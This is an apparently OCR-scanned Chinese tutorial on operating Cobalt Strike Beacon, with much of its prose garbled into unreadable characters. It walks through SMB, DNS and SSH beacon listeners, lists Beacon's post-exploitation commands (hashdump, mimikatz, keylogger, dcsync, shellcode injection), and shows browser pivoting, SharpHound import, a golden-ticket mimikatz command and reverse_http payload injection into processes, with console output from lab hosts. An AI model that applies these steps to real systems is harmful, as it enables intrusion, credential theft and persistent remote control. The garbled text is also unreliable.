Beaconsiif 48

BeaconZCobalt Strike AE kI EEEEAIPayload, {EFBeacon@EidHTTP, HTTPS
g DNSHOMZE, MEBeacondEERE, IFRLHRENERE. FLBEENXIE,
BeaconfEGEifl A, TEES, AEHNERIRS., RENBEEIAL.

Cobalt StrikeBEI515251MBeaconsiEEE— M, XL EEAIBeaconfZINEIAYED
<, FETHHEPAIRBeacon KX EAIAYEIE, XMEEIRIHEENS T iHIRL g
RRARAEU— M ACERETREE BN, ZERE I IENSASRIE SRR S
Y, XifBeaconsi#Z/ECobalt Strike FEIRARIIIRES —, BAITERAILUBSEEGFH
ERNARERTHIIEE EEEN AKX REMEXR.

= sl il
K*" Administratoxr ? SYSTEM * SYSTEM *
h& _ WEB @ 3740 WEB @ 2724 WEB @ 348
- o

L Weas,

O R O |

SYSTEM * SYSTEM *
WEB @ 1016 WEB @ 5000

= Hbeaconffa

1.SMB Beacon

BMNE: SMB BeaconFEHmREBEITR I Beacon#H{TiEIF, HF M BeaconsiEREE, F
BeaconMA2BeaconfKENENES FH &%,

R iEEAIBeaconsfEAWIndowsi B E BRI TEE, WAREHEESMBIMY S, FTLASMB
BeacontBxdfaii, SebhXIERTAIRERIEST R,

XeKBERIFHIISTR T SMB beaconf THERFE:



beacon

HTTP or DNS
beacon meterpreter
SMB TCP

2. SMB Beacon{&FH
XFPBeaconEREHBSMB BeaconHyEN W iE=im1445_ER0ERE,
fEListnerEpSMB Beacon> BHrEH> A > spawn as> kXt NAIListener>

RY SYSTEM *
i# h beacon

27 Administrator *
) 10.10.1 PT ' 1234 SYSTEM *
R 10101 EfR Administrator *
) 10.10.{BEE SOCKS Server Administrator *
2. TR EE Listener... Administrator =
== 10.10.] 2% * | Deploy VBN SYSTEM *
23 1010108 ST SYSTEM *
) 10.10.10.9 msf Administrator *
o j 10.10.10.9 msf SYSTEM *

{ER— AR ETES



AL L A WwWLCD

B New Listener — ] e
BRI RS REAIM P B it Beacon&1E 1 HEEEE -

£z | |

Payload: W |windows/beacon_reverse_tcp

Listen Host: |10.10.10.9 ]

- |

Listen Port: (4444

v‘f"'

IS‘\"'STEM *via 10.10.10.9@1016

o =&

7 useves) uflile

=

Bine

4444

23223 windows/beacon_reverse_tep

10.10.10.9

EXENTHE, HERESEIRMERL=RF

B =R AL IR

6
HTML Application

FIBIIE ¥ | Ms Office Macro

egt_ernal. listener us
¥ HAFEI® | Payload Generator msf1 m
= B Windows Executable 1234 S
Windows Executable (S)
B 192.168.50.148 T msf1 Ac
oye
XE
] e
B VWodows Executa..  — O X
F AR = 2
Beacon5H, i iT B -
S ] g
Hi | Windows EX - |
X64- [T {5 FAx64 payload
sign [7] Sign executable file B Choose a payload - | X
name payload host |t =
- Msf windows/foreign/reverse_http J
host 123 windows/bearnn =0 A4
msf1
; L do 0 3 0.10 l"m
i 1234 windowe/hearnon hitnireverse hitn -
Choose || Add || ZEBfi




ERSREENERTE (XBEALEER, XA EFINTER)

BATRINESMEBRT LAB BlloocolX NFHT, IXFUEIREAISMB Beacon,

I
2 10.10.10.9 0900 10.10.10.8 msf ms: aaabeacon.exe 86 7s
B 10.10.10.9 000 10.10.10.8 msft mssql PC aaabeacon exe 2016 X868 7

WETEERIR, {RalllBeacon EHlink <ip>@$aEEEsHZ unlink <ip>HSHHFE.

SYSTEM * :
WEB @etib2a o e masgl
: ] PC_@ 1720

X#BeaconfERMIERSEFTIZRRIRS

3. DNS Beacon

DNS BeaconfE£ad B ki R4 EIFEEL, DNS beaconmiB2&SZiBAYCobalt StrikeIhag
Z—.
BMNAHNREREENT:



send exploit
Cﬁ m
- Ll

v download beacon
-
@ -
isa tasu available™
ﬁ ﬂ Thae

v download tasks
@ S

{£FIDNS BeaconEEE— MR, HRZNAEINMNY, X —LEALERIRMM, HIFIEHREK
xR, BREF—LERFENRY, BEMCEIEIFEER, —FACRALENSISRAIE.

BSSHEARIEZEERE (BCEEEHT, A—T404)HER0E)
BEEAICRIEMRSS:Rip --> nsiEREPEMAICRIRZ

Y

[FEm F1i0e EiTiE S isp el

FeETF 7 BAITLAANnslookupaE dig +tracesMit F2&mIN:

ns2.o r.me. 308 NS control.
;: Received 87 bytes from 3 '#53(elliot.ns.clous om) in 235 ms

testis.ns2.. .me., 1 il B.8.8.8
;: Received 74 pytes from 203 A .119#53(control. +.me) in 48 ms

#l

SNSRIREIRYIPHEAE SIRAYARSS 28I PHEUERS AR TERERY, BREA BRI LAIFFAECE dns beaconAYLslfras
7.



F!l’l t Listener !EE

Create a listener,

MName:

Payload: rwrd:rwsbaatmrﬁmﬁmama"hm - |

ventlog X | Liste Host:  [control. ne | Ix

:

ame | Port:  |o080 part

;
B Save |

HostABEERIFIEEE (AICREETART) |, AERIRSSESAIIPHBLL,

A
This beacon uses DNS o check for taskings. Please provide the
J domains to use for beaconing. The NS record for these domains
must point to your Cobalt Strike system, Separate multiple
domains with a comma

nsl.o.  .mens2. 2. me,hsa, 2. e !

oo ||.oo

RIGTER EnsicR, RESIEIT, AREME TR,

axbernal intarnal = | usar COFpLIEES Nt picd

B ic = T £.52.186  Administrator * 10_104 _52_186 1566

XEFENE EHIT—MNERENlogo, RiT—ERRErEE, BirEHEIE t4,
4 SSH beacon

E‘n"&r!'g




H WM ELinuxBgCobalt Striketb 2% EEIRUIRM 7 SSHIERE, AKAILUBIE metasploitiEaH /AT
SSHIKSZ48, A BiraIBeaconXiEEHMALLT .

ERIEMFHISSH BeaconiEE/gi%:
OEBERERE
Beaconfii%: ssh [target:port] [user] [pass]

QSSHE RLIZER

ssh [target:port] [user] [/path/to/key.pem]

EEAINE, EHMEHI— 1 FBeacon:

Beaconsfi{$&H

GEBIREN, RdhinteractBPSHEHAFE(IAbeacon, E:

— = - = R

ICnha\tSlrme ME WMo me s
OR8N E=Z¢ B8EPU GwbBE o Ba




FAbeacontZ(Zf5, BITEHREIZMCSEIARICHERIE (sleep) . —RRIERL FCSEK
INRYOBRESIE]/060s, BNE—o i BinESHEA I TeamserverRSS 21T E, BRIX

HREM AL BAIFTIR RN EES T, RSP HENAEANR, FRRE

SHARIRAIL. MNRELIR, BREA]—REEIREH0E 1.

HER, B RrPaRnE. AL HAT. FhaSE ARG, HBeacon®E N (IEH:E
BINEN T, Eirfieofbfaf—k. &l Li{fifiBeacons sleepin & H ULt E . {fHsleepll
BT IR ERELZ IR, EXiksleep 0. XX EHA. AXMHERT, 4% B

4

e

| covatt strike B B ma o
OE O H=¢ BELPLU SwBE Ca B

[fa=wT Rearan 1n 10 1namazan « | Reacan 1010 10 3@1016 X |

fEBeacon 1% B AT

beacon> sleep 0

[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
[WEB] SYSTEM *[1016

beacon-| |

MRBANBHITREZEDS, ME(FEHAshell+RRAaGS. MAEREFEHAcMmdHSE, U
=] :



beacon>= shell whoami

[*] Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes

[+] received output

nt authority\system

[WEE] SYSTEM */1016

W] DL EEHATCSH B i fbeacontiy & 1 i

HEX | Beacon 10.10 10 9@3740 X | Beacon 10.10.10.8@1016 ;v;\—
st AEPREISMEIG S, MAGEIEITANE R
S I 3T

beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 37 hytes
[+] xreceived output

nt authority\system

beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8§ hytes

[*] You are WT AUTHORITY\SYSTEM (admin)
[WEB] SYSTEM */1016

bea

Beacon Commands

Command Description

argue Spoof arguments for matching
processes

blockdlls Block non-Microsoft DLLs in child
processes

browserpivot Setup a browser pivot session

bypassuac Spawn a session in a high integrity
process

cancel Cancel a download that’s in-

progress



cd
checkin
clear
connect
covertvpn
Ccp

dcsync

desktop
desktop

dllinject

process

dl1lload
LoadLibrary ()

download
downloads
drives
elevate

execute

output)

execute—assembly

on target
exit

getprivs

token
getsystem
getuid
hashdump
help
inject

process

Change directory
Call home and post data
Clear beacon queue
Connect to a Beacon peer over TCP
Deploy Covert VPN client
Copy a file
Extract a password hash from a DC

View and interact with target’s

Inject a Reflective DLL into a

Load DLL into a process with

Download a file
Lists file downloads in progress
List drives on target

Try to elevate privileges

Execute a program on target (no

Execute a local .NET program in—memory

Terminate the beacon session

Enable system privileges on current

Attempt to get SYSTEM
Get User ID

Dump password hashes
Help menu

Spawn a session in a specific



Jjobkill

exploitation task

jobs

exploitation tasks

kerberos ccache use

session

kerberos ticket purge

kerberos ticket use

keylogger

process
kill

link

named pipe

logonpasswords

mimikatz
Is
make token
mimikatz
mkdir

mode dns

beacon only)

mode dns—txt

beacon only)

mode dns6

beacon only)
mode http
mv
net

note

portscan

Kill a long-running post-—

List long—running post-—

Apply kerberos ticket from cache to this

Purge kerberos tickets from this session

Apply kerberos ticket to this session

Inject a keystroke logger into a

Kill a process

Connect to a Beacon peer over a

Dump credentials and hashes with

List files
Create a token to pass credentials
Runs a mimikatz command

Make a directory

Use DNS A as data channel (DNS

Use DNS TXT as data channel (DNS

Use DNS AAAA as data channel (DNS

Use HTTP as data channel
Move a file
Network and host enumeration tool

Assign a note to this Beacon

Scan a network for open services



powerpick

PowerShell
powershell

powershell—-import

ppid
jobs

psS

psexec

a host

psexec psh

a host

psinject

specific process
pth
pwd
reg
rev2self
rm
rportfwd

run

(returns output)
runas

runasadmin

context

runu

PID
screenshot
setenv
shell
shinject

shspawn

into it

Execute a command via Unmanaged

Execute a command via powershell. exe
Import a powershell script

Set parent PID for spawned post—ex

Show process list

Use a service to spawn a session on

Use PowerShell to spawn a session on

Execute PowerShell command in

Pass—the—hash using Mimikatz
Print current directory
Query the registry
Revert to original token
Remove a file or folder
Setup a reverse port forward

Execute a program on target

Execute a program as another user

Execute a program in a high—integrity

Execute a program under another

Take a screenshot
Set an environment variable
Execute a command via cmd. exe
Inject shellcode into a process

Spawn process and inject shellcode



sleep

socks

traffic
socks stop
spawn
spawnas

spawnto

into
spawnu

ssh

on a host

ssh-key

a host
steal token

timestomp

another
unlink
upload

wdigest

mimikatz

winrm

host

wmi

host

Command
browserpivot

bypassuac

Set beacon sleep time

Start SOCKS4a server to relay

Stop SOCKS4a server
Spawn a session
Spawn a session as another user

Set executable to spawn processes

Spawn a session under another PID

Use SSH to spawn an SSH session

Use SSH to spawn an SSH session on

Steal access token from a process

Apply timestamps from one file to

Disconnect from parent Beacon
Upload a file

Dump plaintext credentials with

Use WinRM to spawn a session on a

Use WMI to spawn a session on a

Description
Ve EUANG = o) | Nk 3
£/ UAC



cancel HOH IEE AT I R 3%

cd DI H R

checkin o ) b A 48 i [ 32— IR

clear B Frbeacon N AT 55 FAF]

connect Connect to a Beacon peer over TCP

covertvpn HiE Covert VPN ' i

cp S

desyne MDCH & B 3 b s Ay

desktop EFEVNC

dllinject SSDLLIE N HERE

d111load fifi il LoadLibrary 4 DLLANL FIREFE

download RO

downloads H H IEAE AT WS04 T 3

drives FIH H PR

elevate SR AL

execute fE B bR EHATIE P Cefit)

execute—assembly 7E Hbr b WA P HAT A R, NETRE /7

exit 1B Hbeacon

getprivs Enable system privileges on current
token

getsystem iR U SYSTEMAY PR

getuid SREUH P 1D

hashdump R R A A

help HiEh

inject FERS € HERE TP A il 1k

jobkill AN JE GRS

jobs FIH R G ST

kerberos ccache use Mccache LA H N EEHE N T b & 1%

kerberos ticket purge BT TE I 2

kerberos ticket use Mticket SCAFH SN EHE N T & iE



named

keylogger

kill

link

pipe
logonpasswords
Is

make token
mimikatz

mkdir

mode dns

beacon)

mode dns—txt

mode dns6

beacon)

jobs

a host

host

mode http
mv

net

note
portscan
powerpick

powershell

powershell-import

ppid

ps

p*kec

p*kec_psh

psinject

pth

(A
LR R

Connect to a Beacon peer over a

A mimi kat 2% i FE 45 A0S 7y {5
F A
QI 4 o LA 33 FE
iZfTmimikatz
Al — A H %
fili FHDNS A i {5 38 ({FRDNS

fFFIDNS TXTAE A {5 8 ((XPED beacon)
5 FHDNS  AAAAYE 1B /5 18 TE ((LBRDNS

{8 FIHTTPAE Jyid (5 i
Bl S
netfiy 2
I
BEAT i 414
i#idUnmanaged PowerShell$i4T 4

i#Eitpowershell. exef AT 4

5 Apowershel 1 JHIA

Set parent PID for spawned post—ex

RoRHERESR

Use a service to spawn a session on

Use PowerShell to spawn a session on a

TEFE 2 #ERE P ATPowerShel 1474

f FMimikatz i E47T4% 330G 7



PID

into

pwd

reg
revZself
rm
rportfwd
run

runas
runasadmin

runu

screenshot
setenv
shell
shinject
shspawn
sleep
socks
socks stop
spawn
spawnas

spawnto

spawnu
ssh

ssh—key
steal token
timestomp
unlink
upload

wdigest

T H AL E
Query the registry
VN GR
I3 S A B S A ke
i 1 5% R
72 Hbr EPATAE P GR 1 )
PAS — A PR AT R
FE AR T AT P

Execute a program under another

¥ shellcodeyE NIEFE
HE BGHFE I K shel lcodedE AL A
ot B HEHR AE AL I 1]
J&a B1SOCKS4AXEE
% 11:SOCKS4
Spawn a session
Spawn a session as another user

Set executable to spawn processes

Spawn a session under another PID
i FH sshiZEHE i 2 41
il FH S R R AL
MR A G B A
Bt — AN SIS TRV F 1) 57 — AN S A
Disconnect from parent Beacon
IR Ei:
i Fmimi ka tz % il B SC A4



winrm 5 FHWinRMAE E ML AR 2 1
wmi S FHWMIAE ML AR Bl s

argue HEFE S BRI

— LI

1.Browserpivot
EANZEENGHE, REFBHTTPAE
A5 ps / tasklist #E X SEesUHZId(E

WEB @ 3740 WEB @ 272 WEB @ 348

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM
WEB\Bdministrator
NT AUTHORITY\NETWORK SERVICE
WEB\Rdministrator
WEE\Rdministrator
NT AUTHORITY\SYSTEM
NT AUTHORITY\NETWORK SERVICE
WEB\Administratox
WEB\Administratozx
WEB\RAdminissedfor
WER)MAGRInistrator
SoftMgrLite. WEB\Administratox
8 artifactlll. 3 WEB\Administratox
8 omd.exe - WEB\Administratox
zund1132. exe NT AUTHORITY\SYSTEM
waswEsafe . exal WEB\Administratox
5 lexplore.exe WEB\Administratox

[WEB] SYSTEM */1016
beacon>

ENHE:

beacon> browserpivot 1580

FEANNSRESHIERINZ S, &87~: Browser Pivot HTTP proxy is at: XXX.XXX.XXX. XXX}
A=



beacon> browserpivot 1628

[*] Injecting browser pivot DLL inte 1622

[+] Browser Pivot HTTP proxy is at: 192.16%8.50.146:62783
[+] started port forward on 43988 to 127.0.0.1:439383

[+] host called home, sent: 72736 bytes

[WEB] SYSTEM */1016

P

EHA LU EAHTTPNS 28 IR

REWIEBE XAV G AIEHE, REBEHMIAT, RALAER RN TGS :

browserpivot stop

beacon> browserpivot stop

[*] Stopped Browser Pivot

[+] stopped proxy pivot on 43938

[WEB] SYSTEM */1016

BT REFRATTAT AR 52 3 bl (¥ FH P BR300 B2 17
XA TR 2

o ZEFEMHInternet Explorer® k3| tbWeb N FHFET .

o Wi /BRI KR A A Sk B VS A X Blibrowserpivot

o (EhriEE G e AT IE I (BTNPi6605) , fE2FERG FAIEATRS 2 (RS
Hiiii, fEInternet Exploreri#HfEd) .
o [HIBNIRSS 28 98 5 H 2B At W v 11, 45124033912

o Wi HIAE AT UE R At AT 1 teamserver: 339124F AWebfCHE . i ik AR FE 1 T 1AL
BRI Internet ExploreridffE (3 [16605) ¥k /i rfx%%%?ﬁiﬂﬁm
REE., BT Internet ExplorerfkifiWinINet FE & HWebid SR A S 456 1E, KXt
B 3 WiWeb & SR EAT B8 Sy S 0iE, NI B 8 7T LA R 32 FH H B A S35 1
FHIEI SRR R, 170 75 B R 5%

A FIE;

browserpivot 244 x86



244
at: 16.08.0
> to 127.¢
sent: 72736 bytes

[+ host called hr-'

& TCPView - Sysinternals: www.sysinternals.com

File Options Process View Help

&% <@

177 svchost exe 332 TCP 0.0.0.0

Process | FID | Protocol | Local Address | Local Port | Femote Address | Femate Port # | State |
[ svchostexe 7RO TCP 0.0, 135 .0.0. 1] LISTENING
W7 System 4 TCP 192.168.2.168 139 o.o.oo 1] LISTENING
3389 0.0.0.0 1] LISTENING
i 0 0 LISTENING

LISTENING

EM-ZERRECERARNNAER, Al EE IDIlELRE—NARER, FERTR
BESHGIEMERERES

to Damn V Web App!

| ; HPIMySQL

=pphestion secunty in 2 class room emronment
Brute Force WARNING!

C t i fldor o

[ tosing
Disclaimer

Upload preventu oV 11500 web server s compr
Srovw

General

DVWA Security page.
About
Youhave logged n 35 ‘admin

Usemamo: adn
Securiy Level: igh
PHPIDS: disabled

MR EEFREIREZNERNER

] 8] oo v e o . ¢

Dys)

o

[ | to Damn V Web App!
s 1 sl
tobean
setup
Sppication seculy i aclass room amvonmént
Brute Forco WARNING!
csee
0
Filenclusion o
v Disclaimer
£ ould
Upload v
XSS roflctad "
— General Instructions

DVWA Security =

Would you e t stoe your pasword for 10.00.142 iy sm sszng he?

ves | ttortsste

Bow|l 3 5 €« HWE M« 2 2dls % %r A3 @2 P E[¥X 3 Da[0c

2.powershell-import

Applcatons +  Places + 8 Firefox SR ~ fon21:33 M = 00~
Damn Vtnerable Web App (DVWA)- Login - orila Firefox

Appl X+

x | DamaVu

X | Manage Downloaded Fil:

©-ce £ 100014

, MEREELETH: 10.0.0.5:33912

W

I

Preference:

Connection Settings

Configure Proxy Access tothe Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
© Manual proxy configuration
HTTP Proxy| 10.0.0.5| - P 33912

Use this proxy server for all protocols

10005 ort 33912

No Proxy for
localhost, 127.0.0.1

Example: mozilla.org, net.nz, 192.168.1.0/24

Automatic proxy configuration URL
Do not prompt for authentication if password is saved
Proxy DNS when using SOCKS v§

Help Cancel

[0 " 2 2 m 0 T B G @ Right Ctrl.



ENEfpowersheli21E1EZE, BiEHIT:

beacon> powershell-import

BB BT

powershell-import [/path/to/local/script.psl]

SYSTEM *
WEB @ 1016

Beacon 10.10.10 3@3740 X
3736 rundl132.exe

292 wdswEsafe.

1628 iexplore

WT AUTHORITY\SYSTEM
WEB\Rdministratox
WEB\Administrator

browserpivot 1628
Injecting browser pivot DLL into 1623
This beacen already has a browser pivot session. Use 'browserpivot stop' to
started port forward on 31111 to 127.0.0.1:31111
host called home, sent: 72736 bytes

beacon> browserpivot stop

[*] Stopped Browser Pivot

pivot on 43752

beacon> browserpivot 1628

[+] stopped pr

Injecting browser pivot DLL into 1628
Browser Pivot HTTP proxy is at: 192.168.50.146:62783
started port forward on 43988 to 127.0.0.1:43988
host called home, sent: 72736 bytes

beacon> browserpivot stop

[*] Stopped Browser Pivot

[+] stopped proxy pivot on 43988

beacos owershell-import https://githde.com/BloodHoundAD/BloodHound/blok/master/Ingestors/sharpHound.psl
P Amp B g g P P
powershell-import error: 'c:\Usgks\ (123223Li) \Desktop\es4.1(1)\https:\github.com\BloodHoundAD\BloodHound\blob\master\Ingestors\SharpHound. ps1' does not exist

beacon> powershell-import
[*] Tasked heacon to import: gf\Users\ (123223Li)} \Desktop\l.psl
[+] host called home, sentyd975896 bytes

beacon> powershell-import

[WEB] SYSTEM */1016

B TREREZERIN T an<,tean

beacon> powershell xxx-xxx

3.kerberos

HE=MER

£ Select script to import

a5ff() [ Deskiop

x

oo @=

B

e

o B
B2E-master
cs4.1(1)
SpaceRunner-master
Watson-master
weblogic_rce-master

«

weblogicScanner-master
‘Winpayloads-master

2 ¢123223L0)
ShEscise
FEICHE (2)

s 1.pst
B2E-master.zip
cve-2019-2725 bat

cve2020-2883ex||
£ Google Chrome.li
libreoffice-oasis-v)
powershell_attach
powershell_attach

¢/ SpaceRunner-mz|

wpEEN

SERRIT) [FFEXlE

OMEETERNFR SBRE. SREREGBERE

Mcache S 5 N4
15 bR 24 A0 21 B 22 R
Mticket i 5 N

kerberos ccache use
kerberos_ticket purge

kerberos_ticket use

{EFmimikatz:



kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:

4.75i%Bpowershell.exefyigR T {EHpowershell
{Epowerpickip S RI1E;Z B powershell.exef1E R FH{TPowerShell 755
Zap SR ENIHEERIPowerShell J94FERNIETE, FMZAIEIE{THIcmdlet

beacon= powerpick help

[*] Tasked beacon to run: help {(unmanaged)
[+] host called home, sent: 133717 bytes
[+] received output

TR

Get-Help

o
BT Windows PowerShell cmdlet W2 A9%EEHN.

HFAIREH

323

get-help {<CmdletHWame>= | <TopicHame>:}
help {<CmdletHame> | <TopicHame:-}
<CmdletWame> -2

“get-help -2\ BT RrATAN .
“Help L\ & BUB R R AEH .

ENIE
get-help get-process : ﬂ%ﬁ;‘é Get-Process cmdlet E[:]ﬁEBJ]o
get-help about signing : ﬂ%ﬁ;&ﬁgﬂﬂlkﬁﬂﬁjﬂho
help where-object : E%ﬁ;& Where-0bject cmdlet E[:]ﬁEBJ]n
help about foreach : BTHX PowerShell A foreach {HFHIEEAN -
set-service -7 : _ﬁ_ﬂ_f.ﬁ;‘é Set-Service cmdlet E[:]ﬁfﬂ]]n

[WEE] SYSTEM */2724

FII

beacon>

5.7Ei28BCMD.exeflyiER FMEHACMDEGS

EArunds SHUT A emd. exelan<. BT SERMERLER, ARITHOERESIE

1THOREFFF A RERi L.



beacon> run help

[*] Tasked beacon to run: help

[+] host called home, sent: 34 hytes

[+] received output
AXF M SIRFAGE S, BiEA vEe s H
BSS0C SoraldEs i ESE.
ATTRIB RorakERc itz -

BREAK enaoalkl Bt crru+c 9.
BCDEDIT 18 5 B3R AR IER Bshhngt .
CACLS BoalZ e ik ieHTH 55k (ac) »
MA— it iRfE R A —1 -
SErZaERAE kG H S .
Brakig i Ashitamil.

LT 1] £ Bl 1B M eI = K21 g8
L B

N )

[WEB] SYSTEM */2724

beacon>
= [

6. shel IBYIZEFE

AR A EBeacon \IFEB RMITAS, TILATEBeaconiZH & oh{FE R cdip S Kk
Beacon#HEI TIEER. FRApwdmm<$IAEshel YER.

[*] Tasked beacon to print working directorxry
[+] host called home, sent: 20 bhytes
[*] Current directory is C:\Windows\system32

[WREE] SYSTEM */2724
paNi=

ARRERcdamLHMALAIRT , SETENVESRIREIMNREEE.

7 HEEEN
S EANBNXBEE R _M5A

38l2 injectaip$Flspawntodn <

ZANBRT, csfErundli32.exeFr=E— 1 1E. EHEERAIBERAIrundlI32.exeE
HiSInternet@ IIEZRFIR, EREKR— " FIFER (Flalinternet Explorer) , 2AfG
FEANFIERHEGE, TUBREEESIE

1.(Eflspawniz $



{EFpsan <5 HiHTE

El,—15><| Beacon 10.10.10.9@2724 X | Beacon 10.10.10.9@3740 l~<| Euﬁ§~3><| Beacon 10.10.10.9@5000
L L3111 sqlservr.exe | MNATEET

HT AUTHORITY\LOCAL SERVICE

WEB\Administrator

NT AUTHORITY\LOCAL SERVICE

HT AUTHORITY\LOCAL SERVICE

WEB\Administrator

HT AUTHORITY\NETWORE SERVICE

HT AUTHORITY\SYSTEM

HT AUTHORITY\SYSTEM

HT AUTHORITY\NETWORE SERVICE

HT AUTHORITY\SYSTEM

HT AUTHORITY\SYSTEM

HT AUTHORITY\SYSTEM

WEB\Administrator

HT AUTHORITY\NETWORK SERVICE

WEB\Administrator

WEB\Administrator

HT AUTHORITY\SYSTEM

SMSvcHost . exe
iexplore.exe
fdhost . exe
fdlauncher. exe
taskhost . exe
svchost . exe
sqlwriter.exe
VeAnthService . exe
svchost . exe
vmtoolsd. exe
360tray.exe
dllhost.exe
conhost . exe
msdtc.exe
vmtoolsd. exe
conhost . exe
rundll 32, exe
WmiPrvSE. exe

=2 B o F oo oo o e =0 kF=o

WEB\Administrator
WEB\Administrator
WEB\Administrator
WEB\Administrator
WEB\Administrator
WEB\Administrator
WEB\Administrator
HNT AUTHORITY\SYSTEM
WEB\Administrator
WEB\Administrator
WEB\Administrator

explorer.exe
dwm. exe

cmd . exe

taskmgr . exe

SoftMgrLite. exe
artifactlll.exe
cmd . exe
rundll 32 . exe
rundll 32 . exe
wdswfsafe.exe

iexplore. exe

- el e

WEB] Administrator */3740

TN

JTrO

{Espawntip SIENZEIFE —HIZH

spawn [x86/x68] [HEFE4 T/ H1E]

R EIES



msf1 Administratar * WEB

X | \E0fEEx | Beacon 10.10.10.9@5000 X

WEB\Administrator
s Sl B Choose a payload

WEB\Administrator payload hast
WEB\Administrator windows/foreignireverse_http 192 168.50.146
WEB\Administrator windows/beacon_bind_tcp

WEB\Administrator
WEB\Administrator
WEB\Administrator
WEB\Administrator
HT AUTHORITY\SYSTEM
WEB\Administrator Choaose | | Add | | Gt |
WEB\Administrator

WEB\Administrator

windows/beacon_http/reverse_http 192.168.50.146
windows/beacon_http/reverse_http 192.168.50.146

EANRIISIREI—NIIEIE

2 {E[inject, EEHEHEZEIDIMRIARRIR, LMSSIEEATNSTEHER.
1.(EApsIRIN SRR ST RIS IR,

beacon- ps
[*] Tasked beacon to list processes
[+] host called home, sent: 84 bytes

[*] Process List

PID PPID Mame Session
[System Process]
System
SMSS . exe AUTHORITY\SYSTEM
svchost . exe AUTHORITY\LOCAL SERVICE
svchost . exe AUTHORITY\HETWORE SERVICE
CSESS.exe
rundl1132. exe 3 AUTHORITY\SYSTEM
svchost . exe AUTHORITY\SYSTEM

CEXSS. EXE

wininit.exe 0 AUTHORITY\SYSTEM

winlogon. exe 1 AUTHORITY\SYSTEM

SErvices.exe AUTHORITY\SYSTEM
[WEB] Administrator */3740

2 fEinject [pid] x641&64GH{EFRENZIX641HFEFR, BAILAF X865



RUTHORITY\LOCAL
WEB\Administrator
Rei s D e MR B B Choose a payload
fdlauncher. exe ¢ NT AUTHORITY\LOCAL ¢

payload host

taskhost . ex x WEB\Administrator
svchost . exe x AUTHORITY\NETWOR] windows/foreign/reverse_http 192.168.50.146

sqlwrite: e < AUTHORITY\SYSTEM windows/beacon_bind_tcp
VehuthService.exe < AUTHORITY\SYSTEM windows/beacon_http/reverse_http 192.168.50.146
svchost. . AUTHORTTY\NETWOR] windows/beacon_nttp/reverse_http 192 168.50.146
vmtoolsd. ex: x BUTHORITY\SYSTEM
360tray. exe AUTHORITY\SYSTEM
dllhest. ! AUTHORITY\SYSTEM
conhost. . WEB\Administzator Choose || Add || R8N
msdtc.exe ! NT AUTHORITY\NETWOR] SERVICE
vmtoolsd. exe x WEB\Administrator
conhost . exe xt WEB\Administrator
rund1132 38 NT RUTHORITY\SYSTEM
WmiPrvSE
explorer i WEB\Administrator
dwm. exe x WEB\Administrator
cmd. exe xt WEB\Administrator

436 taskmgr . exe ! WEB\Administrator

892  SoftMgrLite.ex: ! WEB\Administrator

2768 artifactlll.ex WEB\Administrator

2768 cmd.exe c WEB\Administrator

3736 rundll32 NT AUTHORLTSTSTEM

3740 rundl132 e Fms\Edministrator

892  wdswEsafe. c 1 WEB\Administrator

1628 iexplore u WEB\Administrator

inject 892 x64
IWEB1 Administrater */3740

3iIREMITaR

< Eﬁﬂﬁg‘gl\'| Beacon 10.10.10.9@5000 X
Al T\LOCK RVIC

[TOT:
WEB\Administrator
NT AUTHORITY\LOCAL s Sliefileteta-t) payload
NT AUTHORITY\LOCAL S
WEB\Administrator name
NT AUTHORITY\WETWORKa) windaws/fareignireverse_http 192 168.50.146
NT AUTHORITY\SYSTEM [kl windows/oeacon_bind_tcp

NT BUTHORTTY\SYSTEM |mefq windows/beacan_http/reverse_http 192.168.50.146
T AUTHORITY\NETWORK windaws/beacon_http/reverse_htip 192.168.50.146

payload host

HT AUTHORITY\SYSTEM

HT AUTHORITY\SYSTEM
HT BUTHORITY\SYSTEM
WEB\Administrator Choose H Add H EEH l
HT AUTHORITY\WETWORE SERVICE

WEB\Administratoxr

WEB\Administrator

4 FENBTN, IREI—NFErRYshell

beacon>= inject 2768 x64

[*] Tasked bheacon to inject W:i.ndows,’heacun_ht.t.pf:r:eve:l:se_ht.t.p (192.168.50.146:888) into 27
[+] host called home, sent: 261208 bytes

[WEB] ARdministrator */3740

® 192.168.50.148 10.10.10.8 msf Administrator * WEB Explorer EXE 2768 64 285

— M HRFE:
SEZRR LAMTHEHIZE THITPowershel &,

psinject [pid] [ psi]



beacon> psinject 3388 x64 get-childitem c:\
get-childitem c:\ into 3388
133713 bytes

Tasked beacon to psinject
[+] host called home,

[+] received output

sent

LastWriteTime Length Name
2020/10/31
2019/10/20

2019/9/9
2019/10/20
2009/7/14
2019/10/20
2019/10/20
2019/10/21

360safe
bea
inetpub
Oracle
PerflLogs

Program Files

1
Program Files

Users

Windows

[WEB] Administrator */2768

FazRHBRNEEE Apowershel AT E B ¥ RH 2 TFHIFOHE:

HKLM\SOFTWARE\MICRO SOF T\ NETFramework

HKLM\SOF TWARE\MICRO SOF T\Fusion\G ACChangeNotfication' Defait

Type [ Name Type Name
Deskion Defaut Desiiop Defauit
Drectory nownDis Drectoy KnownDls
Drectory Sessions\.1\Base NamedObjects Drectory \Sessions\1\BaseNamedObjects
Event KemelObjects\MasmumCommitCondtion Event KemelObjects\NaximumCommitCondtion
Event \BaseMNamedObjects*CorDBIPCSetupSyncEvert_3842 Fie C:\ProgramD: g
Event \KemelObjects\LowMemonCandiion Fie C:\Windows\winexs\amd64_microsoft windows.gdiplus_6535b64144ccf1df_1.1.7601.23545_none_14593ab 26920323
Fie C:\ProgramD: Fie c ¥ windon oy 1df_6.0.7601.18837_none fadb Te3
Fie C X dindows.gdiplus_ 10f_1.1.7601.23545 none_14539ab280920323 Fie C\Windows\System32\en-US\cale xe mui
Fie C ¥ ¥ 1af_6.0.7601.18837_none _fa3ble3. Fle \Devies\KeecD
Fie C:\Wiindows \System32\en-US\calc exe.mui Fie C:\Windows \Forts'StaticCache. dat
Fie Device\KsecDD Key HKLM\SOFTWARE\MICROSOFTYWINDOWS NT\CURRENTVERSION\mage Fle Execution Options
